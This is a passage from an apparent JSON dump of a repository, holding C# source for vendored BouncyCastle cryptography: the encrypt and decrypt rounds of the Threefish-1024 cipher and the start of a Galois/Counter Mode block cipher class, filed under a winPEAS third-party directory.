MOD3;\n\n\t\t\t\t/* Help the JIT avoid index bounds checks */\n\t\t\t\tif (kw.Length != 33)\n\t\t\t\t{\n\t\t\t\t\tthrow new ArgumentException();\n\t\t\t\t}\n\t\t\t\tif (t.Length != 5)\n\t\t\t\t{\n\t\t\t\t\tthrow new ArgumentException();\n\t\t\t\t}\n\n\t\t\t\t/*\n\t             * Read 16 words of plaintext data, not using arrays for cipher state\n\t             */\n\t\t\t\tulong b0 = block[0];\n\t\t\t\tulong b1 = block[1];\n\t\t\t\tulong b2 = block[2];\n\t\t\t\tulong b3 = block[3];\n\t\t\t\tulong b4 = block[4];\n\t\t\t\tulong b5 = block[5];\n\t\t\t\tulong b6 = block[6];\n\t\t\t\tulong b7 = block[7];\n\t\t\t\tulong b8 = block[8];\n\t\t\t\tulong b9 = block[9];\n\t\t\t\tulong b10 = block[10];\n\t\t\t\tulong b11 = block[11];\n\t\t\t\tulong b12 = block[12];\n\t\t\t\tulong b13 = block[13];\n\t\t\t\tulong b14 = block[14];\n\t\t\t\tulong b15 = block[15];\n\n\t\t\t\t/*\n\t             * First subkey injection.\n\t             */\n\t\t\t\tb0 += kw[0];\n\t\t\t\tb1 += kw[1];\n\t\t\t\tb2 += kw[2];\n\t\t\t\tb3 += kw[3];\n\t\t\t\tb4 += kw[4];\n\t\t\t\tb5 += kw[5];\n\t\t\t\tb6 += kw[6];\n\t\t\t\tb7 += kw[7];\n\t\t\t\tb8 += kw[8];\n\t\t\t\tb9 += kw[9];\n\t\t\t\tb10 += kw[10];\n\t\t\t\tb11 += kw[11];\n\t\t\t\tb12 += kw[12];\n\t\t\t\tb13 += kw[13] + t[0];\n\t\t\t\tb14 += kw[14] + t[1];\n\t\t\t\tb15 += kw[15];\n\n\t\t\t\t/*\n\t             * Rounds loop, unrolled to 8 rounds per iteration.\n\t             * \n\t             * Unrolling to multiples of 4 avoids the mod 4 check for key injection, and allows\n\t             * inlining of the permutations, which cycle every of 4 rounds (avoiding array\n\t             * index/lookup).\n\t             * \n\t             * Unrolling to multiples of 8 avoids the mod 8 rotation constant lookup, and allows\n\t             * inlining constant rotation values (avoiding array index/lookup).\n\t             */\n\n\t\t\t\tfor (int d = 1; d < (ROUNDS_1024 / 4); d += 2)\n\t\t\t\t{\n\t\t\t\t\tint dm17 = mod17[d];\n\t\t\t\t\tint dm3 = mod3[d];\n\n\t\t\t\t\t/*\n\t                 * 4 rounds of mix and permute.\n\t                 * \n\t                 * Permute schedule has a 4 round cycle, so permutes are inlined in the mix\n\t                 * operations in each 4 round block.\n\t                 */\n\t\t\t\t\tb1 = RotlXor(b1, ROTATION_0_0, b0 += b1);\n\t\t\t\t\tb3 = RotlXor(b3, ROTATION_0_1, b2 += b3);\n\t\t\t\t\tb5 = RotlXor(b5, ROTATION_0_2, b4 += b5);\n\t\t\t\t\tb7 = RotlXor(b7, ROTATION_0_3, b6 += b7);\n\t\t\t\t\tb9 = RotlXor(b9, ROTATION_0_4, b8 += b9);\n\t\t\t\t\tb11 = RotlXor(b11, ROTATION_0_5, b10 += b11);\n\t\t\t\t\tb13 = RotlXor(b13, ROTATION_0_6, b12 += b13);\n\t\t\t\t\tb15 = RotlXor(b15, ROTATION_0_7, b14 += b15);\n\n\t\t\t\t\tb9 = RotlXor(b9, ROTATION_1_0, b0 += b9);\n\t\t\t\t\tb13 = RotlXor(b13, ROTATION_1_1, b2 += b13);\n\t\t\t\t\tb11 = RotlXor(b11, ROTATION_1_2, b6 += b11);\n\t\t\t\t\tb15 = RotlXor(b15, ROTATION_1_3, b4 += b15);\n\t\t\t\t\tb7 = RotlXor(b7, ROTATION_1_4, b10 += b7);\n\t\t\t\t\tb3 = RotlXor(b3, ROTATION_1_5, b12 += b3);\n\t\t\t\t\tb5 = RotlXor(b5, ROTATION_1_6, b14 += b5);\n\t\t\t\t\tb1 = RotlXor(b1, ROTATION_1_7, b8 += b1);\n\n\t\t\t\t\tb7 = RotlXor(b7, ROTATION_2_0, b0 += b7);\n\t\t\t\t\tb5 = RotlXor(b5, ROTATION_2_1, b2 += b5);\n\t\t\t\t\tb3 = RotlXor(b3, ROTATION_2_2, b4 += b3);\n\t\t\t\t\tb1 = RotlXor(b1, ROTATION_2_3, b6 += b1);\n\t\t\t\t\tb15 = RotlXor(b15, ROTATION_2_4, b12 += b15);\n\t\t\t\t\tb13 = RotlXor(b13, ROTATION_2_5, b14 += b13);\n\t\t\t\t\tb11 = RotlXor(b11, ROTATION_2_6, b8 += b11);\n\t\t\t\t\tb9 = RotlXor(b9, ROTATION_2_7, b10 += b9);\n\n\t\t\t\t\tb15 = RotlXor(b15, ROTATION_3_0, b0 += b15);\n\t\t\t\t\tb11 = RotlXor(b11, ROTATION_3_1, b2 += b11);\n\t\t\t\t\tb13 = RotlXor(b13, ROTATION_3_2, b6 += b13);\n\t\t\t\t\tb9 = RotlXor(b9, ROTATION_3_3, b4 += b9);\n\t\t\t\t\tb1 = RotlXor(b1, ROTATION_3_4, b14 += b1);\n\t\t\t\t\tb5 = RotlXor(b5, ROTATION_3_5, b8 += b5);\n\t\t\t\t\tb3 = RotlXor(b3, ROTATION_3_6, b10 += b3);\n\t\t\t\t\tb7 = RotlXor(b7, ROTATION_3_7, b12 += b7);\n\n\t\t\t\t\t/*\n\t                 * Subkey injection for first 4 rounds.\n\t                 */\n\t\t\t\t\tb0 += kw[dm17];\n\t\t\t\t\tb1 += kw[dm17 + 1];\n\t\t\t\t\tb2 += kw[dm17 + 2];\n\t\t\t\t\tb3 += kw[dm17 + 3];\n\t\t\t\t\tb4 += kw[dm17 + 4];\n\t\t\t\t\tb5 += kw[dm17 + 5];\n\t\t\t\t\tb6 += kw[dm17 + 6];\n\t\t\t\t\tb7 += kw[dm17 + 7];\n\t\t\t\t\tb8 += kw[dm17 + 8];\n\t\t\t\t\tb9 += kw[dm17 + 9];\n\t\t\t\t\tb10 += kw[dm17 + 10];\n\t\t\t\t\tb11 += kw[dm17 + 11];\n\t\t\t\t\tb12 += kw[dm17 + 12];\n\t\t\t\t\tb13 += kw[dm17 + 13] + t[dm3];\n\t\t\t\t\tb14 += kw[dm17 + 14] + t[dm3 + 1];\n\t\t\t\t\tb15 += kw[dm17 + 15] + (uint)d;\n\n\t\t\t\t\t/*\n\t                 * 4 more rounds of mix/permute\n\t                 */\n\t\t\t\t\tb1 = RotlXor(b1, ROTATION_4_0, b0 += b1);\n\t\t\t\t\tb3 = RotlXor(b3, ROTATION_4_1, b2 += b3);\n\t\t\t\t\tb5 = RotlXor(b5, ROTATION_4_2, b4 += b5);\n\t\t\t\t\tb7 = RotlXor(b7, ROTATION_4_3, b6 += b7);\n\t\t\t\t\tb9 = RotlXor(b9, ROTATION_4_4, b8 += b9);\n\t\t\t\t\tb11 = RotlXor(b11, ROTATION_4_5, b10 += b11);\n\t\t\t\t\tb13 = RotlXor(b13, ROTATION_4_6, b12 += b13);\n\t\t\t\t\tb15 = RotlXor(b15, ROTATION_4_7, b14 += b15);\n\n\t\t\t\t\tb9 = RotlXor(b9, ROTATION_5_0, b0 += b9);\n\t\t\t\t\tb13 = RotlXor(b13, ROTATION_5_1, b2 += b13);\n\t\t\t\t\tb11 = RotlXor(b11, ROTATION_5_2, b6 += b11);\n\t\t\t\t\tb15 = RotlXor(b15, ROTATION_5_3, b4 += b15);\n\t\t\t\t\tb7 = RotlXor(b7, ROTATION_5_4, b10 += b7);\n\t\t\t\t\tb3 = RotlXor(b3, ROTATION_5_5, b12 += b3);\n\t\t\t\t\tb5 = RotlXor(b5, ROTATION_5_6, b14 += b5);\n\t\t\t\t\tb1 = RotlXor(b1, ROTATION_5_7, b8 += b1);\n\n\t\t\t\t\tb7 = RotlXor(b7, ROTATION_6_0, b0 += b7);\n\t\t\t\t\tb5 = RotlXor(b5, ROTATION_6_1, b2 += b5);\n\t\t\t\t\tb3 = RotlXor(b3, ROTATION_6_2, b4 += b3);\n\t\t\t\t\tb1 = RotlXor(b1, ROTATION_6_3, b6 += b1);\n\t\t\t\t\tb15 = RotlXor(b15, ROTATION_6_4, b12 += b15);\n\t\t\t\t\tb13 = RotlXor(b13, ROTATION_6_5, b14 += b13);\n\t\t\t\t\tb11 = RotlXor(b11, ROTATION_6_6, b8 += b11);\n\t\t\t\t\tb9 = RotlXor(b9, ROTATION_6_7, b10 += b9);\n\n\t\t\t\t\tb15 = RotlXor(b15, ROTATION_7_0, b0 += b15);\n\t\t\t\t\tb11 = RotlXor(b11, ROTATION_7_1, b2 += b11);\n\t\t\t\t\tb13 = RotlXor(b13, ROTATION_7_2, b6 += b13);\n\t\t\t\t\tb9 = RotlXor(b9, ROTATION_7_3, b4 += b9);\n\t\t\t\t\tb1 = RotlXor(b1, ROTATION_7_4, b14 += b1);\n\t\t\t\t\tb5 = RotlXor(b5, ROTATION_7_5, b8 += b5);\n\t\t\t\t\tb3 = RotlXor(b3, ROTATION_7_6, b10 += b3);\n\t\t\t\t\tb7 = RotlXor(b7, ROTATION_7_7, b12 += b7);\n\n\t\t\t\t\t/*\n\t                 * Subkey injection for next 4 rounds.\n\t                 */\n\t\t\t\t\tb0 += kw[dm17 + 1];\n\t\t\t\t\tb1 += kw[dm17 + 2];\n\t\t\t\t\tb2 += kw[dm17 + 3];\n\t\t\t\t\tb3 += kw[dm17 + 4];\n\t\t\t\t\tb4 += kw[dm17 + 5];\n\t\t\t\t\tb5 += kw[dm17 + 6];\n\t\t\t\t\tb6 += kw[dm17 + 7];\n\t\t\t\t\tb7 += kw[dm17 + 8];\n\t\t\t\t\tb8 += kw[dm17 + 9];\n\t\t\t\t\tb9 += kw[dm17 + 10];\n\t\t\t\t\tb10 += kw[dm17 + 11];\n\t\t\t\t\tb11 += kw[dm17 + 12];\n\t\t\t\t\tb12 += kw[dm17 + 13];\n\t\t\t\t\tb13 += kw[dm17 + 14] + t[dm3 + 1];\n\t\t\t\t\tb14 += kw[dm17 + 15] + t[dm3 + 2];\n\t\t\t\t\tb15 += kw[dm17 + 16] + (uint)d + 1;\n\n\t\t\t\t}\n\n\t\t\t\t/*\n\t             * Output cipher state.\n\t             */\n\t\t\t\toutWords[0] = b0;\n\t\t\t\toutWords[1] = b1;\n\t\t\t\toutWords[2] = b2;\n\t\t\t\toutWords[3] = b3;\n\t\t\t\toutWords[4] = b4;\n\t\t\t\toutWords[5] = b5;\n\t\t\t\toutWords[6] = b6;\n\t\t\t\toutWords[7] = b7;\n\t\t\t\toutWords[8] = b8;\n\t\t\t\toutWords[9] = b9;\n\t\t\t\toutWords[10] = b10;\n\t\t\t\toutWords[11] = b11;\n\t\t\t\toutWords[12] = b12;\n\t\t\t\toutWords[13] = b13;\n\t\t\t\toutWords[14] = b14;\n\t\t\t\toutWords[15] = b15;\n\t\t\t}\n\n\t\t\tinternal override void DecryptBlock(ulong[] block, ulong[] state)\n\t\t\t{\n\t\t\t\tulong[] kw = this.kw;\n\t\t\t\tulong[] t = this.t;\n\t\t\t\tint[] mod17 = MOD17;\n\t\t\t\tint[] mod3 = MOD3;\n\n\t\t\t\t/* Help the JIT avoid index bounds checks */\n\t\t\t\tif (kw.Length != 33)\n\t\t\t\t{\n\t\t\t\t\tthrow new ArgumentException();\n\t\t\t\t}\n\t\t\t\tif (t.Length != 5)\n\t\t\t\t{\n\t\t\t\t\tthrow new ArgumentException();\n\t\t\t\t}\n\n\t\t\t\tulong b0 = block[0];\n\t\t\t\tulong b1 = block[1];\n\t\t\t\tulong b2 = block[2];\n\t\t\t\tulong b3 = block[3];\n\t\t\t\tulong b4 = block[4];\n\t\t\t\tulong b5 = block[5];\n\t\t\t\tulong b6 = block[6];\n\t\t\t\tulong b7 = block[7];\n\t\t\t\tulong b8 = block[8];\n\t\t\t\tulong b9 = block[9];\n\t\t\t\tulong b10 = block[10];\n\t\t\t\tulong b11 = block[11];\n\t\t\t\tulong b12 = block[12];\n\t\t\t\tulong b13 = block[13];\n\t\t\t\tulong b14 = block[14];\n\t\t\t\tulong b15 = block[15];\n\n\t\t\t\tfor (int d = (ROUNDS_1024 / 4) - 1; d >= 1; d -= 2)\n\t\t\t\t{\n\t\t\t\t\tint dm17 = mod17[d];\n\t\t\t\t\tint dm3 = mod3[d];\n\n\t\t\t\t\t/* Reverse key injection for second 4 rounds */\n\t\t\t\t\tb0 -= kw[dm17 + 1];\n\t\t\t\t\tb1 -= kw[dm17 + 2];\n\t\t\t\t\tb2 -= kw[dm17 + 3];\n\t\t\t\t\tb3 -= kw[dm17 + 4];\n\t\t\t\t\tb4 -= kw[dm17 + 5];\n\t\t\t\t\tb5 -= kw[dm17 + 6];\n\t\t\t\t\tb6 -= kw[dm17 + 7];\n\t\t\t\t\tb7 -= kw[dm17 + 8];\n\t\t\t\t\tb8 -= kw[dm17 + 9];\n\t\t\t\t\tb9 -= kw[dm17 + 10];\n\t\t\t\t\tb10 -= kw[dm17 + 11];\n\t\t\t\t\tb11 -= kw[dm17 + 12];\n\t\t\t\t\tb12 -= kw[dm17 + 13];\n\t\t\t\t\tb13 -= kw[dm17 + 14] + t[dm3 + 1];\n\t\t\t\t\tb14 -= kw[dm17 + 15] + t[dm3 + 2];\n\t\t\t\t\tb15 -= kw[dm17 + 16] + (uint)d + 1;\n\n\t\t\t\t\t/* Reverse second 4 mix/permute rounds */\n\t\t\t\t\tb15 = XorRotr(b15, ROTATION_7_0, b0);\n\t\t\t\t\tb0 -= b15;\n\t\t\t\t\tb11 = XorRotr(b11, ROTATION_7_1, b2);\n\t\t\t\t\tb2 -= b11;\n\t\t\t\t\tb13 = XorRotr(b13, ROTATION_7_2, b6);\n\t\t\t\t\tb6 -= b13;\n\t\t\t\t\tb9 = XorRotr(b9, ROTATION_7_3, b4);\n\t\t\t\t\tb4 -= b9;\n\t\t\t\t\tb1 = XorRotr(b1, ROTATION_7_4, b14);\n\t\t\t\t\tb14 -= b1;\n\t\t\t\t\tb5 = XorRotr(b5, ROTATION_7_5, b8);\n\t\t\t\t\tb8 -= b5;\n\t\t\t\t\tb3 = XorRotr(b3, ROTATION_7_6, b10);\n\t\t\t\t\tb10 -= b3;\n\t\t\t\t\tb7 = XorRotr(b7, ROTATION_7_7, b12);\n\t\t\t\t\tb12 -= b7;\n\n\t\t\t\t\tb7 = XorRotr(b7, ROTATION_6_0, b0);\n\t\t\t\t\tb0 -= b7;\n\t\t\t\t\tb5 = XorRotr(b5, ROTATION_6_1, b2);\n\t\t\t\t\tb2 -= b5;\n\t\t\t\t\tb3 = XorRotr(b3, ROTATION_6_2, b4);\n\t\t\t\t\tb4 -= b3;\n\t\t\t\t\tb1 = XorRotr(b1, ROTATION_6_3, b6);\n\t\t\t\t\tb6 -= b1;\n\t\t\t\t\tb15 = XorRotr(b15, ROTATION_6_4, b12);\n\t\t\t\t\tb12 -= b15;\n\t\t\t\t\tb13 = XorRotr(b13, ROTATION_6_5, b14);\n\t\t\t\t\tb14 -= b13;\n\t\t\t\t\tb11 = XorRotr(b11, ROTATION_6_6, b8);\n\t\t\t\t\tb8 -= b11;\n\t\t\t\t\tb9 = XorRotr(b9, ROTATION_6_7, b10);\n\t\t\t\t\tb10 -= b9;\n\n\t\t\t\t\tb9 = XorRotr(b9, ROTATION_5_0, b0);\n\t\t\t\t\tb0 -= b9;\n\t\t\t\t\tb13 = XorRotr(b13, ROTATION_5_1, b2);\n\t\t\t\t\tb2 -= b13;\n\t\t\t\t\tb11 = XorRotr(b11, ROTATION_5_2, b6);\n\t\t\t\t\tb6 -= b11;\n\t\t\t\t\tb15 = XorRotr(b15, ROTATION_5_3, b4);\n\t\t\t\t\tb4 -= b15;\n\t\t\t\t\tb7 = XorRotr(b7, ROTATION_5_4, b10);\n\t\t\t\t\tb10 -= b7;\n\t\t\t\t\tb3 = XorRotr(b3, ROTATION_5_5, b12);\n\t\t\t\t\tb12 -= b3;\n\t\t\t\t\tb5 = XorRotr(b5, ROTATION_5_6, b14);\n\t\t\t\t\tb14 -= b5;\n\t\t\t\t\tb1 = XorRotr(b1, ROTATION_5_7, b8);\n\t\t\t\t\tb8 -= b1;\n\n\t\t\t\t\tb1 = XorRotr(b1, ROTATION_4_0, b0);\n\t\t\t\t\tb0 -= b1;\n\t\t\t\t\tb3 = XorRotr(b3, ROTATION_4_1, b2);\n\t\t\t\t\tb2 -= b3;\n\t\t\t\t\tb5 = XorRotr(b5, ROTATION_4_2, b4);\n\t\t\t\t\tb4 -= b5;\n\t\t\t\t\tb7 = XorRotr(b7, ROTATION_4_3, b6);\n\t\t\t\t\tb6 -= b7;\n\t\t\t\t\tb9 = XorRotr(b9, ROTATION_4_4, b8);\n\t\t\t\t\tb8 -= b9;\n\t\t\t\t\tb11 = XorRotr(b11, ROTATION_4_5, b10);\n\t\t\t\t\tb10 -= b11;\n\t\t\t\t\tb13 = XorRotr(b13, ROTATION_4_6, b12);\n\t\t\t\t\tb12 -= b13;\n\t\t\t\t\tb15 = XorRotr(b15, ROTATION_4_7, b14);\n\t\t\t\t\tb14 -= b15;\n\n\t\t\t\t\t/* Reverse key injection for first 4 rounds */\n\t\t\t\t\tb0 -= kw[dm17];\n\t\t\t\t\tb1 -= kw[dm17 + 1];\n\t\t\t\t\tb2 -= kw[dm17 + 2];\n\t\t\t\t\tb3 -= kw[dm17 + 3];\n\t\t\t\t\tb4 -= kw[dm17 + 4];\n\t\t\t\t\tb5 -= kw[dm17 + 5];\n\t\t\t\t\tb6 -= kw[dm17 + 6];\n\t\t\t\t\tb7 -= kw[dm17 + 7];\n\t\t\t\t\tb8 -= kw[dm17 + 8];\n\t\t\t\t\tb9 -= kw[dm17 + 9];\n\t\t\t\t\tb10 -= kw[dm17 + 10];\n\t\t\t\t\tb11 -= kw[dm17 + 11];\n\t\t\t\t\tb12 -= kw[dm17 + 12];\n\t\t\t\t\tb13 -= kw[dm17 + 13] + t[dm3];\n\t\t\t\t\tb14 -= kw[dm17 + 14] + t[dm3 + 1];\n\t\t\t\t\tb15 -= kw[dm17 + 15] + (uint)d;\n\n\t\t\t\t\t/* Reverse first 4 mix/permute rounds */\n\t\t\t\t\tb15 = XorRotr(b15, ROTATION_3_0, b0);\n\t\t\t\t\tb0 -= b15;\n\t\t\t\t\tb11 = XorRotr(b11, ROTATION_3_1, b2);\n\t\t\t\t\tb2 -= b11;\n\t\t\t\t\tb13 = XorRotr(b13, ROTATION_3_2, b6);\n\t\t\t\t\tb6 -= b13;\n\t\t\t\t\tb9 = XorRotr(b9, ROTATION_3_3, b4);\n\t\t\t\t\tb4 -= b9;\n\t\t\t\t\tb1 = XorRotr(b1, ROTATION_3_4, b14);\n\t\t\t\t\tb14 -= b1;\n\t\t\t\t\tb5 = XorRotr(b5, ROTATION_3_5, b8);\n\t\t\t\t\tb8 -= b5;\n\t\t\t\t\tb3 = XorRotr(b3, ROTATION_3_6, b10);\n\t\t\t\t\tb10 -= b3;\n\t\t\t\t\tb7 = XorRotr(b7, ROTATION_3_7, b12);\n\t\t\t\t\tb12 -= b7;\n\n\t\t\t\t\tb7 = XorRotr(b7, ROTATION_2_0, b0);\n\t\t\t\t\tb0 -= b7;\n\t\t\t\t\tb5 = XorRotr(b5, ROTATION_2_1, b2);\n\t\t\t\t\tb2 -= b5;\n\t\t\t\t\tb3 = XorRotr(b3, ROTATION_2_2, b4);\n\t\t\t\t\tb4 -= b3;\n\t\t\t\t\tb1 = XorRotr(b1, ROTATION_2_3, b6);\n\t\t\t\t\tb6 -= b1;\n\t\t\t\t\tb15 = XorRotr(b15, ROTATION_2_4, b12);\n\t\t\t\t\tb12 -= b15;\n\t\t\t\t\tb13 = XorRotr(b13, ROTATION_2_5, b14);\n\t\t\t\t\tb14 -= b13;\n\t\t\t\t\tb11 = XorRotr(b11, ROTATION_2_6, b8);\n\t\t\t\t\tb8 -= b11;\n\t\t\t\t\tb9 = XorRotr(b9, ROTATION_2_7, b10);\n\t\t\t\t\tb10 -= b9;\n\n\t\t\t\t\tb9 = XorRotr(b9, ROTATION_1_0, b0);\n\t\t\t\t\tb0 -= b9;\n\t\t\t\t\tb13 = XorRotr(b13, ROTATION_1_1, b2);\n\t\t\t\t\tb2 -= b13;\n\t\t\t\t\tb11 = XorRotr(b11, ROTATION_1_2, b6);\n\t\t\t\t\tb6 -= b11;\n\t\t\t\t\tb15 = XorRotr(b15, ROTATION_1_3, b4);\n\t\t\t\t\tb4 -= b15;\n\t\t\t\t\tb7 = XorRotr(b7, ROTATION_1_4, b10);\n\t\t\t\t\tb10 -= b7;\n\t\t\t\t\tb3 = XorRotr(b3, ROTATION_1_5, b12);\n\t\t\t\t\tb12 -= b3;\n\t\t\t\t\tb5 = XorRotr(b5, ROTATION_1_6, b14);\n\t\t\t\t\tb14 -= b5;\n\t\t\t\t\tb1 = XorRotr(b1, ROTATION_1_7, b8);\n\t\t\t\t\tb8 -= b1;\n\n\t\t\t\t\tb1 = XorRotr(b1, ROTATION_0_0, b0);\n\t\t\t\t\tb0 -= b1;\n\t\t\t\t\tb3 = XorRotr(b3, ROTATION_0_1, b2);\n\t\t\t\t\tb2 -= b3;\n\t\t\t\t\tb5 = XorRotr(b5, ROTATION_0_2, b4);\n\t\t\t\t\tb4 -= b5;\n\t\t\t\t\tb7 = XorRotr(b7, ROTATION_0_3, b6);\n\t\t\t\t\tb6 -= b7;\n\t\t\t\t\tb9 = XorRotr(b9, ROTATION_0_4, b8);\n\t\t\t\t\tb8 -= b9;\n\t\t\t\t\tb11 = XorRotr(b11, ROTATION_0_5, b10);\n\t\t\t\t\tb10 -= b11;\n\t\t\t\t\tb13 = XorRotr(b13, ROTATION_0_6, b12);\n\t\t\t\t\tb12 -= b13;\n\t\t\t\t\tb15 = XorRotr(b15, ROTATION_0_7, b14);\n\t\t\t\t\tb14 -= b15;\n\t\t\t\t}\n\n\t\t\t\t/*\n\t             * First subkey uninjection.\n\t             */\n\t\t\t\tb0 -= kw[0];\n\t\t\t\tb1 -= kw[1];\n\t\t\t\tb2 -= kw[2];\n\t\t\t\tb3 -= kw[3];\n\t\t\t\tb4 -= kw[4];\n\t\t\t\tb5 -= kw[5];\n\t\t\t\tb6 -= kw[6];\n\t\t\t\tb7 -= kw[7];\n\t\t\t\tb8 -= kw[8];\n\t\t\t\tb9 -= kw[9];\n\t\t\t\tb10 -= kw[10];\n\t\t\t\tb11 -= kw[11];\n\t\t\t\tb12 -= kw[12];\n\t\t\t\tb13 -= kw[13] + t[0];\n\t\t\t\tb14 -= kw[14] + t[1];\n\t\t\t\tb15 -= kw[15];\n\n\t\t\t\t/*\n\t             * Output cipher state.\n\t             */\n\t\t\t\tstate[0] = b0;\n\t\t\t\tstate[1] = b1;\n\t\t\t\tstate[2] = b2;\n\t\t\t\tstate[3] = b3;\n\t\t\t\tstate[4] = b4;\n\t\t\t\tstate[5] = b5;\n\t\t\t\tstate[6] = b6;\n\t\t\t\tstate[7] = b7;\n\t\t\t\tstate[8] = b8;\n\t\t\t\tstate[9] = b9;\n\t\t\t\tstate[10] = b10;\n\t\t\t\tstate[11] = b11;\n\t\t\t\tstate[12] = b12;\n\t\t\t\tstate[13] = b13;\n\t\t\t\tstate[14] = b14;\n\t\t\t\tstate[15] = b15;\n\t\t\t}\n\n\t\t}\n\n\t}\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/3rdParty/BouncyCastle/crypto/modes/GcmBlockCipher.cs",
    "content": "﻿using System;\nusing winPEAS._3rdParty.BouncyCastle.crypto.modes.gcm;\nusing winPEAS._3rdParty.BouncyCastle.crypto.parameters;\nusing winPEAS._3rdParty.BouncyCastle.crypto.util;\n\nnamespace winPEAS._3rdParty.BouncyCastle.crypto.modes\n{\n    /// <summary>\n    /// Implements the Galois/Counter mode (GCM) detailed in\n    /// NIST Special Publication 800-38D.\n    /// </summary>\n    public class GcmBlockCipher\n        : IAeadBlockCipher\n    {\n        private const int BlockSize = 16;\n\n        private readonly IBlockCipher cipher;\n        private readonly IGcmMultiplier multiplier;\n        private IGcmExponentiator exp;\n\n        // These fields are set by Init and not modified by processing\n        private bool forEncryption;\n        private bool initialised;\n        private int macSize;\n        private byte[] lastKey;\n        private byte[] nonce;\n        private byte[] initialAssociatedText;\n        private byte[] H;\n        private byte[] J0;\n\n        // These fields are modified during processing\n        private byte[] bufBlock;\n        private byte[] macBlock;\n        private byte[] S, S_at, S_atPre;\n        private byte[] counter;\n        private uint blocksRemaining;\n        private int bufOff;\n        private ulong totalLength;\n        private byte[] atBlock;\n        private int atBlockPos;\n        private ulong atLength;\n        private ulong atLengthPre;\n\n        public GcmBlockCipher(\n            IBlockCipher c)\n            : this(c, null)\n        {\n        }\n\n        public GcmBlockCipher(\n            IBlockCipher c,\n            IGcmMultiplier m)\n        {\n            if (c.GetBlockSize() != BlockSize)\n                throw new ArgumentException(\"cipher required with a block size of \" + BlockSize + \".\");\n\n            if (m == null)\n            {\n                m = new Tables4kGcmMultiplier();\n            }\n\n            this.cipher = c;\n            this.multiplier = m;\n        }\n\n        public virtual string AlgorithmName\n        {\n            get { return cipher.AlgorithmName + \"/GCM\"; }\n        }\n\n        public IBlockCipher GetUnderlyingCipher()\n        {\n            return cipher;\n        }\n\n        public virtual int GetBlockSize()\n        {\n            return BlockSize;\n        }\n\n        /// <remarks>\n        /// MAC sizes from 32 bits to 128 bits (must be a multiple of 8) are supported. The default is 128 bits.\n        /// Sizes less than 96 are not recommended, but are supported for specialized applications.\n        /// </remarks>\n        public virtual void Init(\n            bool forEncryption,\n            ICipherParameters parameters)\n        {\n            this.forEncryption = forEncryption;\n            this.macBlock = null;\n            this.initialised = true;\n\n            KeyParameter keyParam;\n            byte[] newNonce = null;\n\n            if (parameters is AeadParameters)\n            {\n                AeadParameters param = (AeadParameters)parameters;\n\n                newNonce = param.GetNonce();\n                initialAssociatedText = param.GetAssociatedText();\n\n                int macSizeBits = param.MacSize;\n                if (macSizeBits < 32 || macSizeBits > 128 || macSizeBits % 8 != 0)\n                {\n                    throw new ArgumentException(\"Invalid value for MAC size: \" + macSizeBits);\n                }\n\n                macSize = macSizeBits / 8;\n                keyParam = param.Key;\n            }\n            else if (parameters is ParametersWithIV)\n            {\n                ParametersWithIV param = (ParametersWithIV)parameters;\n\n                newNonce = param.GetIV();\n                initialAssociatedText = null;\n                macSize = 16;\n                keyParam = (KeyParameter)param.Parameters;\n            }\n            else\n            {\n                throw new ArgumentException(\"invalid parameters passed to GCM\");\n            }\n\n            int bufLength = forEncryption ? BlockSize : (BlockSize + macSize);\n            this.bufBlock = new byte[bufLength];\n\n            if (newNonce == null || newNonce.Length < 1)\n            {\n                throw new ArgumentException(\"IV must be at least 1 byte\");\n            }\n\n            if (forEncryption)\n            {\n                if (nonce != null && Arrays.AreEqual(nonce, newNonce))\n                {\n                    if (keyParam == null)\n                    {\n                        throw new ArgumentException(\"cannot reuse nonce for GCM encryption\");\n                    }\n                    if (lastKey != null && Arrays.AreEqual(lastKey, keyParam.GetKey()))\n                    {\n                        throw new ArgumentException(\"cannot reuse nonce for GCM encryption\");\n                    }\n                }\n            }\n\n            nonce = newNonce;\n            if (keyParam != null)\n            {\n                lastKey = keyParam.GetKey();\n            }\n\n            // TODO Restrict macSize to 16 if nonce length not 12?\n\n            // Cipher always used in forward mode\n            // if keyParam is null we're reusing the last key.\n            if (keyParam != null)\n            {\n                cipher.Init(true, keyParam);\n\n                this.H = new byte[BlockSize];\n                cipher.ProcessBlock(H, 0, H, 0);\n\n                // if keyParam is null we're reusing the last key and the multiplier doesn't need re-init\n                multiplier.Init(H);\n                exp = null;\n            }\n            else if (this.H == null)\n            {\n                throw new ArgumentException(\"Key must be specified in initial init\");\n            }\n\n            this.J0 = new byte[BlockSize];\n\n            if (nonce.Length == 12)\n            {\n                Array.Copy(nonce, 0, J0, 0, nonce.Length);\n                this.J0[BlockSize - 1] = 0x01;\n            }\n            else\n            {\n                gHASH(J0, nonce, nonce.Length);\n                byte[] X = new byte[BlockSize];\n                Pack.UInt64_To_BE((ulong)nonce.Length * 8UL, X, 8);\n                gHASHBlock(J0, X);\n            }\n\n            this.S = new byte[BlockSize];\n            this.S_at = new byte[BlockSize];\n            this.S_atPre = new byte[BlockSize];\n            this.atBlock = new byte[BlockSize];\n            this.atBlockPos = 0;\n            this.atLength = 0;\n            this.atLengthPre = 0;\n            this.counter = Arrays.Clone(J0);\n            this.blocksRemaining = uint.MaxValue - 1; // page 8, len(P) <= 2^39 - 256, 1 block used by tag\n            this.bufOff = 0;\n            this.totalLength = 0;\n\n            if (initialAssociatedText != null)\n            {\n                ProcessAadBytes(initialAssociatedText, 0, initialAssociatedText.Length);\n            }\n        }\n\n        public virtual byte[] GetMac()\n        {\n            return macBlock == null\n                ? new byte[macSize]\n                : Arrays.Clone(macBlock);\n        }\n\n        public virtual int GetOutputSize(\n            int len)\n        {\n            int totalData = len + bufOff;\n\n            if (forEncryption)\n            {\n                return totalData + macSize;\n            }\n\n            return totalData < macSize ? 0 : totalData - macSize;\n        }\n\n        public virtual int GetUpdateOutputSize(\n            int len)\n        {\n            int totalData = len + bufOff;\n            if (!forEncryption)\n            {\n                if (totalData < macSize)\n                {\n                    return 0;\n                }\n                totalData -= macSize;\n            }\n            return totalData - totalData % BlockSize;\n        }\n\n        public virtual void ProcessAadByte(byte input)\n        {\n            CheckStatus();\n\n            atBlock[atBlockPos] = input;\n            if (++atBlockPos == BlockSize)\n            {\n                // Hash each block as it fills\n                gHASHBlock(S_at, atBlock);\n                atBlockPos = 0;\n                atLength += BlockSize;\n            }\n        }\n\n        public virtual void ProcessAadBytes(byte[] inBytes, int inOff, int len)\n        {\n            CheckStatus();\n\n            for (int i = 0; i < len; ++i)\n            {\n                atBlock[atBlockPos] = inBytes[inOff + i];\n                if (++atBlockPos == BlockSize)\n                {\n                    // Hash each block as it fills\n                    